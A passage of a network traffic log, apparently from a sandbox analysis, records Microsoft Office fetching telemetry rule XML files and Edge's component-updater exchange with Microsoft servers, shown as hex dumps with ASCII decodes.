2024-11-25 11:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110939Z-178bfbc474bq2pr7hC1NYCkfgg00000007fg000000007hu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:38 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 40d9340c-a01e-0050-06b8-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110939Z-178bfbc474bh5zbqhC1NYCkdug0000000790000000008gns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:38 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110939Z-174c587ffdfgcs66hC1TEB69cs00000005kg00000000mwx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:38 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110939Z-178bfbc474btvfdfhC1NYCa2en00000007bg00000000ak28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 8dcc739e-c01e-0034-371d-3e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110939Z-15b8b599d88pxmdghC1TEBux9c00000005xg00000000b3cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49868	204.79.197.239	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:39 UTC	1681	OUT	POST /componentupdater/api/v1/update?cup2key=6:CoJXYy0tgGEyq905PZGEwcirq8U6xJdCPyeA_F9F_HM&cup2hreq=76c5c8634feddfa782448d0566b154999c495cce429ab59da72ddcc28a57bd3f HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Content-Length: 11515 X-Microsoft-Update-AppId: eeobbhfgfagbclfofmgbdfoicabjdbkn,oankkpibpaokgecfckkdkgaoafllipag,kpfehajjjbbcifeehjgfgnabifknmdad,ohckeflnhegojcjlcpbfpciadgikcohk,fppmbhmldokgmleojlplaaodlkibgikh,ndikpojcjlepofdkaaldkinkjbeeebkl,jbfaflocpnkhbgcijpkiafdpbjkedane,fgbafbciocncjfbbonhocjaohoknlaco,ojblfafjmiikbkepnnolpgbbhejhlcim,ahmaebgpfccdhgidjaidaoojjcijckba,mpicjakjneaggahlnmbojhjpnileolnb,ebkkldgijmkljgglkajkjgedfnigiakk,lkkdlcloifjinapabfonaibjijloebfb,mkcgfaeepibomfapiapjaceihcojnphg,plbmmhnabegcabfbcejohgjpkamkddhn,llmidpclgepbgbgoecnhcmgfhmfplfao,omnckhpgfmaoelhddliebabpgblmmnjp,jcmcegpcehdchljeldgmmfbgcpnmgedo,lfmeghnikdkbonehgjihjebgioakijgn,hjaimielcgmceiphgjjfddlgjklfpdei,cllppcmmlnkggcmljjfigkcigaajjmid,alpjnmnfbgfkmmpcfpejmmoebdndedno,pdfjdcjjjegpclfiilihfkmdfndkneei X-Microsoft-Update-Interactivity: bg X-Microsoft-Update-Service-Cohort: 6728 X-Microsoft-Update-Updater: msedge-117.0.2045.47 Content-Type: application/json Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 X-Client-Data: CMf6ygE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 11:09:39 UTC	11515	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 40 6f 73 22 3a 22 77 69 6e 22 2c 22 40 75 70 64 61 74 65 72 22 3a 22 6d 73 65 64 67 65 22 2c 22 61 63 63 65 70 74 66 6f 72 6d 61 74 22 3a 22 63 72 78 33 2c 70 75 66 66 22 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 65 65 6f 62 62 68 66 67 66 61 67 62 63 6c 66 6f 66 6d 67 62 64 66 6f 69 63 61 62 6a 64 62 6b 6e 22 2c 22 62 72 61 6e 64 22 3a 22 49 4e 42 58 22 2c 22 63 6f 68 6f 72 74 22 3a 22 72 72 66 40 30 2e 34 31 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 6e 73 74 61 6c 6c 64 61 74 65 22 3a 2d 31 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 47 42 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 66 70 22 3a 22 31 2e 38 42 46 44 35 30 44 33 35 30 44 34 37 34 34 35 42 35 37 Data Ascii: {"request":{"@os":"win","@updater":"msedge","acceptformat":"crx3,puff","app":[{"appid":"eeobbhfgfagbclfofmgbdfoicabjdbkn","brand":"INBX","cohort":"rrf@0.41","enabled":true,"installdate":-1,"lang":"en-GB","packages":{"package":[{"fp":"1.8BFD50D350D47445B57
2024-11-25 11:09:39 UTC	947	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache, max-age=0 Pragma: no-cache Content-Length: 16814 Content-Type: application/json Content-Encoding: identity Expires: Mon, 01 Jan 1990 00:00:00 GMT ETag: 30450220077449BE4B93F6F32D25406D96DFED80E0F6447D15546779FBCA4D589250A695022100E5BEA97CDA3966EB090A969A912552E2E308F82134BD3358B5DF387C54CB3A09:76c5c8634feddfa782448d0566b154999c495cce429ab59da72ddcc28a57bd3f X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block x-cup-server-proof: 30450220077449BE4B93F6F32D25406D96DFED80E0F6447D15546779FBCA4D589250A695022100E5BEA97CDA3966EB090A969A912552E2E308F82134BD3358B5DF387C54CB3A09:76c5c8634feddfa782448d0566b154999c495cce429ab59da72ddcc28a57bd3f X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4F32D48963A74D6CBA6A2EBF7E3DA107 Ref B: EWR30EDGE0807 Ref C: 2024-11-25T11:09:39Z Date: Mon, 25 Nov 2024 11:09:38 GMT Connection: close
2024-11-25 11:09:39 UTC	3260	IN	Data Raw: 29 5d 7d 27 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 70 72 6f 64 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 33 2e 31 22 2c 22 64 61 79 73 74 61 72 74 22 3a 7b 22 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 22 3a 33 39 2c 22 65 6c 61 70 73 65 64 5f 64 61 79 73 22 3a 36 35 33 38 2e 34 36 35 30 34 34 31 30 37 36 33 31 7d 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 65 65 6f 62 62 68 66 67 66 61 67 62 63 6c 66 6f 66 6d 67 62 64 66 6f 69 63 61 62 6a 64 62 6b 6e 22 2c 22 63 6f 68 6f 72 74 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 75 70 64 61 74 65 22 7d 7d 2c 7b 22 61 70 70 69 64 Data Ascii: )]}'{"response":{"server":"prod","protocol":"3.1","daystart":{"elapsed_seconds":39,"elapsed_days":6538.465044107631},"app":[{"appid":"eeobbhfgfagbclfofmgbdfoicabjdbkn","cohort":"","status":"ok","cohortname":"","updatecheck":{"status":"noupdate"}},{"appid
2024-11-25 11:09:39 UTC	4096	IN	Data Raw: 37 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 44 65 6c 69 76 65 72 79 4f 70 74 69 6d 69 7a 61 74 69 6f 6e 22 3a 7b 22 43 61 74 61 6c 6f 67 49 64 22 3a 22 61 64 44 56 47 74 6a 52 71 72 71 75 67 52 74 62 78 76 63 6e 4b 62 37 72 36 4b 74 41 79 4f 59 49 44 49 4a 56 52 54 2d 52 4d 33 63 3d 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 49 6e 74 65 67 72 69 74 79 43 68 65 63 6b 49 6e 66 6f 22 3a 7b 22 50 69 65 63 65 73 48 61 73 68 46 69 6c 65 55 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 6d 73 65 64 67 65 2e 66 2e 64 6c 2e 64 65 6c 69 76 65 72 79 2e 6d 70 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 69 6c 65 73 74 72 65 61 6d 69 6e 67 73 65 72 76 69 63 65 2f 66 69 6c 65 73 2f 30 63 32 36 39 63 65 64 2d 63 37 34 62 2d 34 65 37 30 2d 39 62 35 38 2d Data Ascii: 7","required":true,"DeliveryOptimization":{"CatalogId":"adDVGtjRqrqugRtbxvcnKb7r6KtAyOYIDIJVRT-RM3c=","Properties":{"IntegrityCheckInfo":{"PiecesHashFileUrl":"http://msedge.f.dl.delivery.mp.microsoft.com/filestreamingservice/files/0c269ced-c74b-4e70-9b58-
2024-11-25 11:09:40 UTC	4096	IN	Data Raw: 68 61 32 35 36 22 3a 22 45 46 44 39 32 37 45 43 45 35 44 34 35 36 35 36 44 30 31 37 44 42 39 35 43 44 36 30 38 41 36 42 46 42 42 36 42 45 46 45 30 30 35 43 44 44 32 37 30 42 35 42 43 32 34 33 32 30 35 36 34 42 32 33 22 2c 22 73 69 7a 65 22 3a 38 36 34 31 37 2c 22 6e 61 6d 65 22 3a 22 6d 73 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6d 70 69 63 6a 61 6b 6a 6e 65 61 67 67 61 68 6c 6e 6d 62 6f 6a 68 6a 70 6e 69 6c 65 6f 6c 6e 62 2e 63 72 78 22 2c 22 66 70 22 3a 22 31 2e 45 46 44 39 32 37 45 43 45 35 44 34 35 36 35 36 44 30 31 37 44 42 39 35 43 44 36 30 38 41 36 42 46 42 42 36 42 45 46 45 30 30 35 43 44 44 32 37 30 42 35 42 43 32 34 33 32 30 35 36 34 42 32 33 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 44 65 6c 69 76 65 72 79 4f 70 74 69 6d 69 7a 61 74 69 Data Ascii: ha256":"EFD927ECE5D45656D017DB95CD608A6BFBB6BEFE005CDD270B5BC24320564B23","size":86417,"name":"mscomponents-mpicjakjneaggahlnmbojhjpnileolnb.crx","fp":"1.EFD927ECE5D45656D017DB95CD608A6BFBB6BEFE005CDD270B5BC24320564B23","required":true,"DeliveryOptimizati
2024-11-25 11:09:40 UTC	4096	IN	Data Raw: 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 6a 63 6d 63 65 67 70 63 65 68 64 63 68 6c 6a 65 6c 64 67 6d 6d 66 62 67 63 70 6e 6d 67 65 64 6f 22 2c 22 63 6f 68 6f 72 74 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 6d 73 65 64 67 65 2e 62 2e 74 6c 75 2e 64 6c 2e 64 65 6c 69 76 65 72 79 2e 6d 70 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 69 6c 65 73 74 72 65 61 6d 69 6e 67 73 65 72 76 69 63 65 2f 66 69 6c 65 73 2f 33 32 39 62 65 33 37 34 2d 38 63 34 36 2d 34 30 64 31 2d 39 36 62 38 2d 66 32 34 31 62 38 36 62 61 Data Ascii: }},{"appid":"jcmcegpcehdchljeldgmmfbgcpnmgedo","cohort":"","status":"ok","cohortname":"","updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/329be374-8c46-40d1-96b8-f241b86ba
2024-11-25 11:09:40 UTC	1266	IN	Data Raw: 61 73 68 46 69 6c 65 55 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 6d 73 65 64 67 65 2e 66 2e 64 6c 2e 64 65 6c 69 76 65 72 79 2e 6d 70 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 69 6c 65 73 74 72 65 61 6d 69 6e 67 73 65 72 76 69 63 65 2f 66 69 6c 65 73 2f 63 30 38 66 31 39 37 30 2d 34 35 62 63 2d 34 64 62 65 2d 38 31 36 36 2d 34 65 63 65 66 37 61 31 66 36 31 37 2f 70 69 65 63 65 73 68 61 73 68 22 2c 22 48 61 73 68 4f 66 48 61 73 68 65 73 22 3a 22 51 71 49 53 7a 63 31 79 49 6d 6f 73 4d 58 4c 66 50 46 54 39 58 56 52 32 70 44 61 51 33 61 32 51 6c 2b 55 56 4a 39 6d 63 39 78 73 3d 22 7d 7d 7d 7d 5d 7d 2c 22 61 72 67 75 6d 65 6e 74 73 22 3a 22 22 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 70 64 66 6a 64 63 6a 6a 6a 65 67 70 63 6c 66 69 69 6c 69 68 66 6b 6d 64 66 Data Ascii: ashFileUrl":"http://msedge.f.dl.delivery.mp.microsoft.com/filestreamingservice/files/c08f1970-45bc-4dbe-8166-4ecef7a1f617/pieceshash","HashOfHashes":"QqISzc1yImosMXLfPFT9XVR2pDaQ3a2Ql+UVJ9mc9xs="}}}}]},"arguments":""}}},{"appid":"pdfjdcjjjegpclfiilihfkmdf

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:41 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110941Z-178bfbc474bnwsh4hC1NYC2ubs00000007bg00000000bavk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 47ff93a4-401e-0083-0f5d-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110941Z-15b8b599d88m7pn7hC1TEB4axw00000005zg0000000023st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" 